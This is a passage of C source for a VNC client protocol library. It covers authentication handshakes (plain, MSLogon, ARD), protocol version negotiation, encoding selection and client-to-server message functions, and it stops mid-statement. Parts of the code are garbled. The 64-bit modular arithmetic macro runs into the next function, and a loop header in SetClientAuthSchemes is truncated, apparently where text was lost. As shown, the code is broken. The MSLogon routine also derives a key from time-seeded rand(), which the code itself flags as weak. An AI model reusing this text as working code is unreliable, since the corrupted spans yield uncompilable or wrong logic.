(cred->userCredential.password) free(cred->userCredential.password); free(cred); } static rfbBool HandlePlainAuth(rfbClient *client) { uint32_t ulen, ulensw; uint32_t plen, plensw; rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); ulensw = rfbClientSwap32IfLE(ulen); plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); plensw = rfbClientSwap32IfLE(plen); if (!WriteToRFBServer(client, (char *)&ulensw, 4) || !WriteToRFBServer(client, (char *)&plensw, 4)) { FreeUserCredential(cred); return FALSE; } if (ulen > 0) { if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) { FreeUserCredential(cred); return FALSE; } } if (plen > 0) { if (!WriteToRFBServer(client, cred->userCredential.password, plen)) { FreeUserCredential(cred); return FALSE; } } FreeUserCredential(cred); /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } /* Simple 64bit big integer arithmetic implementation */ /* (x + y) % m, works even if (x + y) > 64bit */ #define rfbAddM64(x,y,m) ((x+y)%m+(x+y0;x>>=1) { if (x&1) r=rfbAddM64(r,y,m); y=rfbAddM64(y,y,m); } return r; } /* (x ^ y) % m */ static uint64_t rfbPowM64(uint64_t b, uint64_t e, uint64_t m) { uint64_t r; for(r=1;e>0;e>>=1) { if(e&1) r=rfbMulM64(r,b,m); b=rfbMulM64(b,b,m); } return r; } static rfbBool HandleMSLogonAuth(rfbClient *client) { uint64_t gen, mod, resp, priv, pub, key; uint8_t username[256], password[64]; rfbCredential *cred; if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; gen = rfbClientSwap64IfLE(gen); mod = rfbClientSwap64IfLE(mod); resp = rfbClientSwap64IfLE(resp); if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ "Use it only with SSH tunnel or trusted network.\n"); cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } memset(username, 0, sizeof(username)); strncpy((char *)username, cred->userCredential.username, sizeof(username)); memset(password, 0, sizeof(password)); strncpy((char *)password, cred->userCredential.password, sizeof(password)); FreeUserCredential(cred); srand(time(NULL)); priv = ((uint64_t)rand())<<32; priv |= (uint64_t)rand(); pub = rfbPowM64(gen, priv, mod); key = rfbPowM64(resp, priv, mod); pub = rfbClientSwap64IfLE(pub); key = rfbClientSwap64IfLE(key); rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT static rfbBool rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) { gcry_error_t error; size_t len; int i; error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); return FALSE; } for (i=size-1;i>(int)size-1-(int)len;--i) result[i] = result[i-size+len]; for (;i>=0;--i) result[i] = 0; return TRUE; } static rfbBool HandleARDAuth(rfbClient *client) { uint8_t gen[2], len[2]; size_t keylen; uint8_t *mod = NULL, *resp, *pub, *key, *shared; gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; gcry_md_hd_t md5 = NULL; gcry_cipher_hd_t aes = NULL; gcry_error_t error; uint8_t userpass[128], ciphertext[128]; int passwordLen, usernameLen; rfbCredential *cred = NULL; rfbBool result = FALSE; if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) { /* Application did not initialize gcrypt, so we should */ if (!gcry_check_version(GCRYPT_VERSION)) { /* Older version of libgcrypt is installed on system than compiled against */ rfbClientLog("libgcrypt version mismatch.\n"); } } while (1) { if (!ReadFromRFBServer(client, (char *)gen, 2)) break; if (!ReadFromRFBServer(client, (char *)len, 2)) break; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); break; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); break; } keylen = 256*len[0]+len[1]; mod = (uint8_t*)malloc(keylen*4); if (!mod) { rfbClientLog("malloc out of memory\n"); break; } resp = mod+keylen; pub = resp+keylen; key = pub+keylen; if (!ReadFromRFBServer(client, (char *)mod, keylen)) break; if (!ReadFromRFBServer(client, (char *)resp, keylen)) break; error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } privmpi = gcry_mpi_new(keylen); if (!privmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); pubmpi = gcry_mpi_new(keylen); if (!pubmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); keympi = gcry_mpi_new(keylen); if (!keympi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); if (!rfbMpiToBytes(pubmpi, pub, keylen)) break; if (!rfbMpiToBytes(keympi, key, keylen)) break; error = gcry_md_open(&md5, GCRY_MD_MD5, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); break; } gcry_md_write(md5, key, keylen); error = gcry_md_final(md5); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); break; } shared = gcry_md_read(md5, GCRY_MD_MD5); passwordLen = strlen(cred->userCredential.password)+1; usernameLen = strlen(cred->userCredential.username)+1; if (passwordLen > sizeof(userpass)/2) passwordLen = sizeof(userpass)/2; if (usernameLen > sizeof(userpass)/2) usernameLen = sizeof(userpass)/2; gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); memcpy(userpass, cred->userCredential.username, usernameLen); memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_setkey(aes, shared, 16); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); break; } if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) break; if (!WriteToRFBServer(client, (char *)pub, keylen)) break; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) break; result = TRUE; break; } if (cred) FreeUserCredential(cred); if (mod) free(mod); if (genmpi) gcry_mpi_release(genmpi); if (modmpi) gcry_mpi_release(modmpi); if (respmpi) gcry_mpi_release(respmpi); if (privmpi) gcry_mpi_release(privmpi); if (pubmpi) gcry_mpi_release(pubmpi); if (keympi) gcry_mpi_release(keympi); if (md5) gcry_md_close(md5); if (aes) gcry_cipher_close(aes); return result; } #endif /* * SetClientAuthSchemes. */ void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) { int i; if (client->clientAuthSchemes) { free(client->clientAuthSchemes); client->clientAuthSchemes = NULL; } if (authSchemes) { if (size<0) { /* If size<0 we assume the passed-in list is also 0-terminate, so we * calculate the size here */ for (size=0;authSchemes[size];size++) ; } client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); for (i=0;iclientAuthSchemes[i] = authSchemes[i]; client->clientAuthSchemes[size] = 0; } } /* * InitialiseRFBConnection. */ rfbBool InitialiseRFBConnection(rfbClient* client) { rfbProtocolVersionMsg pv; int major,minor; uint32_t authScheme; uint32_t subAuthScheme; rfbClientInitMsg ci; /* if the connection is immediately closed, don't report anything, so that pmw's monitor can make test connections */ if (client->listenSpecified) errorMessageOnReadFailure = FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg]=0; errorMessageOnReadFailure = TRUE; pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { rfbClientLog("Not a valid VNC server (%s)\n",pv); return FALSE; } DefaultSupportedMessages(client); client->major = major; client->minor = minor; /* fall back to viewer supported version */ if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) client->minor = rfbProtocolMinorVersion; /* UltraVNC uses minor codes 4 and 6 for the server */ if (major==3 && (minor==4 || minor==6)) { rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ if (major==3 && (minor==14 || minor==16)) { minor = minor - 10; client->minor = minor; rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* TightVNC uses minor codes 5 for the server */ if (major==3 && minor==5) { rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); DefaultSupportedMessagesTightVNC(client); } /* we do not support > RFB3.8 */ if ((major==3 && minor>8) || major>3) { client->major=3; client->minor=8; } rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; /* 3.7 and onwards sends a # of security types first */ if (client->major==3 && client->minor > 6) { if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; } else { if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; authScheme = rfbClientSwap32IfLE(authScheme); } rfbClientLog("Selected Security Scheme %d\n", authScheme); client->authScheme = authScheme; switch (authScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; case rfbMSLogon: if (!HandleMSLogonAuth(client)) return FALSE; break; case rfbARD: #ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT rfbClientLog("GCrypt support was not compiled in\n"); return FALSE; #else if (!HandleARDAuth(client)) return FALSE; #endif break; case rfbTLS: if (!HandleAnonTLSAuth(client)) return FALSE; /* After the TLS session is established, sub auth types are expected. * Note that all following reading/writing are through the TLS session from here. */ if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; client->subAuthScheme = subAuthScheme; switch (subAuthScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No sub authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", (int)subAuthScheme); return FALSE; } break; case rfbVeNCrypt: if (!HandleVeNCryptAuth(client)) return FALSE; switch (client->subAuthScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptX509None: rfbClientLog("No sub authentication needed\n"); if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVeNCryptTLSVNC: case rfbVeNCryptX509VNC: if (!HandleVncAuth(client)) return FALSE; break; case rfbVeNCryptTLSPlain: case rfbVeNCryptX509Plain: if (!HandlePlainAuth(client)) return FALSE; break; default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", client->subAuthScheme); return FALSE; } break; default: rfbClientLog("Unknown authentication scheme from VNC server: %d\n", (int)authScheme); return FALSE; } ci.shared = (client->appData.shareDesktop ? 1 : 0); if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */ client->desktopName = malloc((uint64_t)client->si.nameLength + 1); if (!client->desktopName) { rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", (unsigned long)client->si.nameLength); return FALSE; } if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; client->desktopName[client->si.nameLength] = 0; rfbClientLog("Desktop name \"%s\"\n",client->desktopName); rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", client->major, client->minor); rfbClientLog("VNC server default format:\n"); PrintPixelFormat(&client->si.format); return TRUE; } /* * SetFormatAndEncodings. */ rfbBool SetFormatAndEncodings(rfbClient* client) { rfbSetPixelFormatMsg spf; char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); int len = 0; rfbBool requestCompressLevel = FALSE; rfbBool requestQualityLevel = FALSE; rfbBool requestLastRectEncoding = FALSE; rfbClientProtocolExtension* e; if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; spf.type = rfbSetPixelFormat; spf.pad1 = 0; spf.pad2 = 0; spf.format = client->format; spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) return FALSE; if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; se->type = rfbSetEncodings; se->nEncodings = 0; if (client->appData.encodingsString) { const char *encStr = client->appData.encodingsString; int encStrLen; do { const char *nextEncStr = strchr(encStr, ' '); if (nextEncStr) { encStrLen = nextEncStr - encStr; nextEncStr++; } else { encStrLen = strlen(encStr); } if (strncasecmp(encStr,"raw",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; if (client->appData.enableJPEG) requestQualityLevel = TRUE; #endif #endif } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); requestQualityLevel = TRUE; #endif } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { /* There are 2 encodings used in 'ultra' */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); } else { rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); } encStr = nextEncStr; } while (encStr && se->nEncodings < MAX_ENCODINGS); if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } else { if (SameMachine(client->sock)) { /* TODO: if (!tunnelSpecified) { */ rfbClientLog("Same machine: preferring raw encoding\n"); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); /* } else { rfbClientLog("Tunneling active: preferring tight encoding\n"); } */ } encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; #endif #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } else /* if (!tunnelSpecified) */ { /* If -tunnel option was provided, we assume that server machine is not in the local network so we use default compression level for tight encoding instead of fast compression. Thus we are requesting level 1 compression only if tunneling is not used. */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); } if (client->appData.enableJPEG) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } /* Remote Cursor Support (local to viewer) */ if (client->appData.useRemoteCursor) { if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); } /* Keyboard State Encodings */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); /* New Frame Buffer Size */ if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); /* Last Rect */ if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); /* Server Capabilities */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); /* xvp */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); /* client extensions */ for(e = rfbClientExtensions; e; e = e->next) if(e->encodings) { int* enc; for(enc = e->encodings; *enc; enc++) if(se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); } len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); if (!WriteToRFBServer(client, buf, len)) return FALSE; return TRUE; } /* * SendIncrementalFramebufferUpdateRequest. */ rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client) { return SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, TRUE); } /* * SendFramebufferUpdateRequest. */ rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) { rfbFramebufferUpdateRequestMsg fur; if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; fur.type = rfbFramebufferUpdateRequest; fur.incremental = incremental ? 1 : 0; fur.x = rfbClientSwap16IfLE(x); fur.y = rfbClientSwap16IfLE(y); fur.w = rfbClientSwap16IfLE(w); fur.h = rfbClientSwap16IfLE(h); if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) return FALSE; return TRUE; } /* * SendScaleSetting. */ rfbBool SendScaleSetting(rfbClient* client,int scaleSetting) { rfbSetScaleMsg ssm; ssm.scale = scaleSetting; ssm.pad = 0; /* favor UltraVNC SetScale if both are supported */ if (SupportsClient2Server(client, rfbSetScale)) { ssm.type = rfbSetScale; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { ssm.type = rfbPalmVNCSetScaleFactor; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } return TRUE; } /* * TextChatFunctions (UltraVNC) * Extremely bandwidth friendly method of communicating with a user * (Think HelpDesk type applications) */ rfbBool TextChatSend(rfbClient* client, char *text) { rfbTextChatMsg chat; int count = strlen(text); if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = (uint32_t)count; chat.length = rfbClientSwap32IfLE(chat.length); if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) return FALSE; if (count>0) { if (!WriteToRFBServer(client, text, count)) return FALSE; } return TRUE; } rfbBool TextChatOpen(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatClose(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatClose); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatFinish(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } /* * UltraVNC Server Input Disable * Apparently, the remote client can *prevent* the local user from interacting with the display * I would think this is extremely helpful when used in a HelpDesk situation */ rfbBool PermitServerInput(rfbClient* client, int enabled) { rfbSetServerInputMsg msg; if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; /* enabled==1, then server input from local keyboard is disabled */ msg.type = rfbSetServerInput; msg.status = (enabled ? 1 : 0); msg.pad = 0; return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); } /* * send xvp client message * A client supporting the xvp extension sends this to request that the server initiate * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the * client is displaying. * * only version 1 is defined in the protocol specs * * possible values for code are: * rfbXvp_Shutdown * rfbXvp_Reboot * rfbXvp_Reset */ rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) { rfbXvpMsg xvp; if (!SupportsClient2Server(client, rfbXvp)) return TRUE; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) return FALSE; return TRUE; } /* * SendPointerEvent. */ rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) { rfbPointerEventMsg pe; if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; pe.type = rfbPointerEvent; pe.buttonMask = buttonMask; if (x < 0) x = 0; if (y < 0) y = 0; pe.x = rfbClientSwap16IfLE(x); pe.y = rfbClientSwap16IfLE(y); return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); } /* * SendKeyEvent. */ rfbBool SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) { rfbKeyEventMsg ke; if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; ke.type = rfbKeyEvent; ke.down = down ? 1 : 0; ke.key = rfbClientSwap32IfLE(key); return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); } /* * SendClientCutText. */ rfbBool SendClientCutText(rfbClient* client, char *str, int len) { rfbClientCutTextMsg cct; if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; cct.type = rfbClientCutText; cct.length = rfbClientSwap32IfLE(len); return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && WriteToRFBServer(client, str, len)); } /* * HandleRFBServerMessage. */ rfbBool HandleRFBServerMessage(rfbClient* client) { rfbServerToClientMsg msg; if (client->serverPort==-1) client->vncRec->readTimestamp = TRUE; if (!ReadFromRFBServer(client, (char *)&msg, 1)) return FALSE; switch (msg.type) { case rfbSetColourMapEntries: { /* TODO: int i; uint16_t rgb[3]; XColor xc; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) return FALSE; msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); for (i = 0; i < msg.scme.nColours; i++) { if (!ReadFromRFBServer(client, (char *)rgb, 6)) return FALSE; xc.pixel = msg.scme.firstColour + i; xc.red = rfbClientSwap16IfLE(rgb[0]); xc.green = rfbClientSwap16IfLE(rgb[1]); xc.blue = rfbClientSwap16IfLE(rgb[2]); xc.flags = DoRed|DoGreen|DoBlue; XStoreColor(dpy, cmap, &xc); } */ break; } case rfbFramebufferUpdate: { rfbFramebufferUpdateRectHeader rect; int linesToRead; int bytesPerLine; int i; if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) return FALSE; msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); for (i = 0; i < msg.fu.nRects; i++) { if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) return FALSE; rect.encoding = rfbClientSwap32IfLE(rect.encoding); if (rect.encoding == rfbEncodingLastRect) break; rect.r.x = rfbClientSwap16IfLE(rect.r.x); rect.r.y = rfbClientSwap16IfLE(rect.r.y); rect.r.w = rfbClientSwap16IfLE(rect.r.w); rect.r.h = 